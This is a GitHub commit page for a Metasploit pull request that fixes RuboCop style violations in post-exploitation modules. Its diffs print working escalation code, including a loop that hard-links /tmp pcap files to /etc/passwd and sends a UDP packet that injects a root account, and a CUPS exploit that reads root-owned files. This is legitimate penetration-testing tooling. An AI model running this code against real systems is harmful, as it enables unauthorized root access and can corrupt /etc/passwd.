Skip to content

Commit 8aa1923

Browse files
authored
Merge pull request rapid7#20108 from bcoles/rubocop-modules-post-multi
modules/post/multi: Resolve RuboCop violations
2 parents 8ae6d35 + 2a616f7 commit 8aa1923

23 files changed

+427
-309
lines changed

modules/post/multi/escalate/aws_create_iam_user.rb

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,12 @@ def initialize(info = {})
2727
],
2828
'References' => [
2929
[ 'URL', 'https://github.com/devsecops/bootcamp/raw/master/Week-6/slides/june-DSO-bootcamp-week-six-lesson-three.pdf' ]
30-
]
30+
],
31+
'Notes' => {
32+
'Stability' => [CRASH_SAFE],
33+
'SideEffects' => [CONFIG_CHANGES],
34+
'Reliability' => []
35+
}
3136
)
3237
)
3338

modules/post/multi/escalate/cups_root_file_read.rb

Lines changed: 38 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -14,34 +14,37 @@ def initialize(info = {})
1414
super(
1515
update_info(
1616
info,
17-
{
18-
'Name' => 'CUPS 1.6.1 Root File Read',
19-
'Description' => %q{
20-
This module exploits a vulnerability in CUPS < 1.6.2, an open source printing system.
21-
CUPS allows members of the lpadmin group to make changes to the cupsd.conf
22-
configuration, which can specify an Error Log path. When the user visits the
23-
Error Log page in the web interface, the cupsd daemon (running with setuid root)
24-
reads the Error Log path and echoes it as plaintext.
25-
26-
This module is known to work on Mac OS X < 10.8.4 and Ubuntu Desktop <= 12.0.4
27-
as long as the session is in the lpadmin group.
28-
29-
Warning: if the user has set up a custom path to the CUPS error log,
30-
this module might fail to reset that path correctly. You can specify
31-
a custom error log path with the ERROR_LOG datastore option.
32-
},
33-
'References' => [
34-
['CVE', '2012-5519'],
35-
['OSVDB', '87635'],
36-
['URL', 'http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692791']
37-
],
38-
'License' => MSF_LICENSE,
39-
'Author' => [
40-
'Jann Horn', # discovery
41-
'joev' # metasploit module
42-
],
43-
'DisclosureDate' => '2012-11-20',
44-
'Platform' => %w[linux osx]
17+
'Name' => 'CUPS 1.6.1 Root File Read',
18+
'Description' => %q{
19+
This module exploits a vulnerability in CUPS < 1.6.2, an open source printing system.
20+
CUPS allows members of the lpadmin group to make changes to the cupsd.conf
21+
configuration, which can specify an Error Log path. When the user visits the
22+
Error Log page in the web interface, the cupsd daemon (running with setuid root)
23+
reads the Error Log path and echoes it as plaintext.
24+
25+
This module is known to work on Mac OS X < 10.8.4 and Ubuntu Desktop <= 12.0.4
26+
as long as the session is in the lpadmin group.
27+
28+
Warning: if the user has set up a custom path to the CUPS error log,
29+
this module might fail to reset that path correctly. You can specify
30+
a custom error log path with the ERROR_LOG datastore option.
31+
},
32+
'References' => [
33+
['CVE', '2012-5519'],
34+
['OSVDB', '87635'],
35+
['URL', 'https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692791']
36+
],
37+
'License' => MSF_LICENSE,
38+
'Author' => [
39+
'Jann Horn', # discovery
40+
'joev' # metasploit module
41+
],
42+
'DisclosureDate' => '2012-11-20',
43+
'Platform' => %w[linux osx],
44+
'Notes' => {
45+
'Stability' => [CRASH_SAFE],
46+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES],
47+
'Reliability' => []
4548
}
4649
)
4750
)
@@ -58,25 +61,25 @@ def check_exploitability
5861
if (user_groups & LP_GROUPS).empty?
5962
print_error 'User not in lpadmin group.'
6063
return Msf::Exploit::CheckCode::Safe
61-
else
62-
print_good 'User in lpadmin group, continuing...'
6364
end
6465

66+
print_good 'User in lpadmin group, continuing...'
67+
6568
if ctl_path.blank?
6669
print_error 'cupsctl binary not found in $PATH'
6770
return Msf::Exploit::CheckCode::Safe
68-
else
69-
print_good 'cupsctl binary found in $PATH'
7071
end
7172

73+
print_good 'cupsctl binary found in $PATH'
74+
7275
nc_path = whereis('nc')
7376
if nc_path.nil? || nc_path.blank?
7477
print_error 'Could not find nc executable'
7578
return Msf::Exploit::CheckCode::Unknown
76-
else
77-
print_good 'nc binary found in $PATH'
7879
end
7980

81+
print_good 'nc binary found in $PATH'
82+
8083
config_path = whereis('cups-config')
8184
config_vn = nil
8285

@@ -132,6 +135,7 @@ def cleanup
132135
print_status 'Cleaning up...'
133136
cmd_exec("#{ctl_path} WebInterface=no") if web_server_was_disabled
134137
cmd_exec("#{ctl_path} ErrorLog=#{prev_error_log_path}") if error_log_was_reset
138+
ensure
135139
super
136140
end
137141

modules/post/multi/escalate/metasploit_pcaplog.rb

Lines changed: 52 additions & 43 deletions
Original file line numberDiff line numberDiff line change
@@ -14,31 +14,34 @@ def initialize(info = {})
1414
super(
1515
update_info(
1616
info,
17-
{
18-
'Name' => 'Multi Escalate Metasploit pcap_log Local Privilege Escalation',
19-
'Description' => %q{
20-
Metasploit < 4.4 contains a vulnerable 'pcap_log' plugin which, when used with the default settings,
21-
creates pcap files in /tmp with predictable file names. This exploits this by hard-linking these
22-
filenames to /etc/passwd, then sending a packet with a privileged user entry contained within.
23-
This, and all the other packets, are appended to /etc/passwd.
24-
25-
Successful exploitation results in the creation of a new superuser account.
26-
27-
This module requires manual clean-up. Upon success, you should remove /tmp/msf3-session*pcap
28-
files and truncate /etc/passwd. Note that if this module fails, you can potentially induce
29-
a permanent DoS on the target by corrupting the /etc/passwd file.
30-
},
31-
'License' => MSF_LICENSE,
32-
'Author' => [ '0a29406d9794e4f9b30b3c5d6702c708'],
33-
'Platform' => %w[bsd linux unix],
34-
'SessionTypes' => [ 'shell', 'meterpreter' ],
35-
'References' => [
36-
[ 'BID', '54472' ],
37-
[ 'URL', 'http://0a29.blogspot.com/2012/07/0a29-12-2-metasploit-pcaplog-plugin.html'],
38-
[ 'URL', 'https://community.rapid7.com/docs/DOC-1946' ],
39-
],
40-
'DisclosureDate' => '2012-07-16',
41-
'Stance' => Msf::Exploit::Stance::Passive
17+
'Name' => 'Multi Escalate Metasploit pcap_log Local Privilege Escalation',
18+
'Description' => %q{
19+
Metasploit < 4.4 contains a vulnerable 'pcap_log' plugin which, when used with the default settings,
20+
creates pcap files in /tmp with predictable file names. This exploits this by hard-linking these
21+
filenames to /etc/passwd, then sending a packet with a privileged user entry contained within.
22+
This, and all the other packets, are appended to /etc/passwd.
23+
24+
Successful exploitation results in the creation of a new superuser account.
25+
26+
This module requires manual clean-up. Upon success, you should remove /tmp/msf3-session*pcap
27+
files and truncate /etc/passwd. Note that if this module fails, you can potentially induce
28+
a permanent DoS on the target by corrupting the /etc/passwd file.
29+
},
30+
'License' => MSF_LICENSE,
31+
'Author' => [ '0a29406d9794e4f9b30b3c5d6702c708'],
32+
'Platform' => %w[bsd linux unix],
33+
'SessionTypes' => [ 'shell', 'meterpreter' ],
34+
'References' => [
35+
[ 'BID', '54472' ],
36+
[ 'URL', 'http://0a29.blogspot.com/2012/07/0a29-12-2-metasploit-pcaplog-plugin.html'],
37+
[ 'URL', 'https://community.rapid7.com/docs/DOC-1946' ],
38+
],
39+
'DisclosureDate' => '2012-07-16',
40+
'Stance' => Msf::Exploit::Stance::Passive,
41+
'Notes' => {
42+
'Stability' => [SERVICE_RESOURCE_LOSS],
43+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES],
44+
'Reliability' => []
4245
}
4346
)
4447
)
@@ -48,7 +51,7 @@ def initialize(info = {})
4851
OptString.new('USERNAME', [ true, 'Username for the new superuser', 'metasploit' ]),
4952
OptString.new('PASSWORD', [ true, 'Password for the new superuser', 'metasploit' ]),
5053
OptInt.new('MINUTES', [true, 'Number of minutes to try to inject', 5])
51-
], self
54+
]
5255
)
5356
end
5457

@@ -59,13 +62,18 @@ def normalize_minutes
5962
end
6063

6164
def run
62-
print_status "Setting up the victim's /tmp dir"
6365
fail_with(Failure::NotFound, '/etc/passwd not found on system') unless file_exist?('/etc/passwd')
66+
6467
initial_size = read_file('/etc/passwd').lines.count
65-
print_status "/etc/passwd is currently #{initial_size} lines long"
68+
print_status("/etc/passwd is currently #{initial_size} lines long")
69+
70+
print_status("Setting up the victim's /tmp dir")
71+
72+
username = datastore['USERNAME']
6673
i = 0
6774
j = 0
6875
loop do
76+
# Setup links to /etc/passwd
6977
if (i == 0)
7078
j += 1
7179
break if j >= datastore['MINUTES'] + 1 # Give up after X minutes
@@ -74,29 +82,30 @@ def run
7482
print_status "Linking /etc/passwd to predictable tmp files (Attempt #{j})"
7583
cmd_exec("for i in `seq 0 120` ; do ln /etc/passwd /tmp/msf3-session_`date --date=\"\$i seconds\" +%Y-%m-%d_%H-%M-%S`.pcap ; done")
7684
end
85+
7786
current_size = read_file('/etc/passwd').lines.count
78-
if current_size == initial_size
79-
# PCAP is flowing
80-
pkt = "\n\n" + datastore['USERNAME'] + ':' + datastore['PASSWORD'].crypt('0a') + ":0:0:Metasploit Root Account:/tmp:/bin/bash\n\n"
81-
vprint_status("Sending /etc/passwd file contents payload to #{session.session_host}")
82-
udpsock = Rex::Socket::Udp.create(
83-
{
84-
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
85-
}
86-
)
87-
res = udpsock.sendto(pkt, session.session_host, datastore['RPORT'])
88-
else
89-
break
90-
end
87+
88+
# passwd file line count has changed
89+
break if current_size != initial_size
90+
91+
# PCAP is flowing
92+
pkt = "\n\n" + username + ':' + datastore['PASSWORD'].crypt('0a') + ":0:0:Metasploit Root Account:/tmp:/bin/bash\n\n"
93+
vprint_status("Sending /etc/passwd file contents payload to #{session.session_host}")
94+
udpsock = Rex::Socket::Udp.create(
95+
{
96+
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
97+
}
98+
)
99+
udpsock.sendto(pkt, session.session_host, datastore['RPORT'])
91100
sleep(1) # wait a second
92101
i = (i + 1) % 60 # increment second counter
93102
end
94103

95104
if read_file('/etc/passwd').includes?('Metasploit')
96-
print_good("Success. You should now be able to login or su to the '" + datastore['USERNAME'] + "' account")
105+
print_good("Success. You should now be able to login or su to the '#{username}' account")
97106
# TODO: Consider recording our now-created username and password as a valid credential here.
98107
else
99-
print_error("Failed, the '" + datastore['USERNAME'] + "' user does not appear to have been added")
108+
print_error("Failed, the '#{username}' user does not appear to have been added")
100109
end
101110
# 0a2940: Initially the plan was to have this post module switch user, upload & execute a new payload
102111
# However beceause the session is not a terminal, su will not always allow this.

modules/post/multi/general/close.rb

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -10,11 +10,16 @@ def initialize(info = {})
1010
update_info(
1111
info,
1212
'Name' => 'Multi Generic Operating System Session Close',
13-
'Description' => %q{ This module closes the specified session. This can be useful as a finisher for automation tasks },
13+
'Description' => %q{This module closes the specified session. This can be useful as a finisher for automation tasks.},
1414
'License' => MSF_LICENSE,
1515
'Author' => [ 'hdm' ],
1616
'Platform' => %w[linux osx unix win],
17-
'SessionTypes' => [ 'shell', 'meterpreter' ]
17+
'SessionTypes' => [ 'shell', 'meterpreter' ],
18+
'Notes' => {
19+
'Stability' => [],
20+
'SideEffects' => [],
21+
'Reliability' => []
22+
}
1823
)
1924
)
2025
end

modules/post/multi/general/execute.rb

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,12 @@ def initialize(info = {})
1414
'License' => MSF_LICENSE,
1515
'Author' => [ 'hdm' ],
1616
'Platform' => %w[linux osx unix win],
17-
'SessionTypes' => [ 'shell', 'meterpreter' ]
17+
'SessionTypes' => [ 'shell', 'meterpreter' ],
18+
'Notes' => {
19+
'Stability' => [CRASH_SAFE],
20+
'SideEffects' => [],
21+
'Reliability' => []
22+
}
1823
)
1924
)
2025
register_options(

modules/post/multi/general/wall.rb

Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -19,15 +19,20 @@ def initialize(info = {})
1919
],
2020
# TODO: is there a way to do this on Windows?
2121
'Platform' => %w[linux osx unix],
22-
'SessionTypes' => %w[shell meterpreter]
22+
'SessionTypes' => %w[shell meterpreter],
23+
'Notes' => {
24+
'Stability' => [CRASH_SAFE],
25+
'SideEffects' => [SCREEN_EFFECTS],
26+
'Reliability' => []
27+
}
2328
)
2429
)
2530
register_options(
2631
[
2732
OptString.new('MESSAGE', [false, 'The message to send', '']),
2833
OptString.new('USERS', [
29-
false, 'List of users to write(1) to, separated by commas. ' \
30-
' wall(1)s to all users by default'
34+
false,
35+
'List of users to write(1) to, separated by commas. wall(1)s to all users by default.'
3136
]),
3237
OptBool.new('COWSAY', [true, 'Display MESSAGE in a ~cowsay way', false])
3338
]

0 commit comments

Comments
 (0)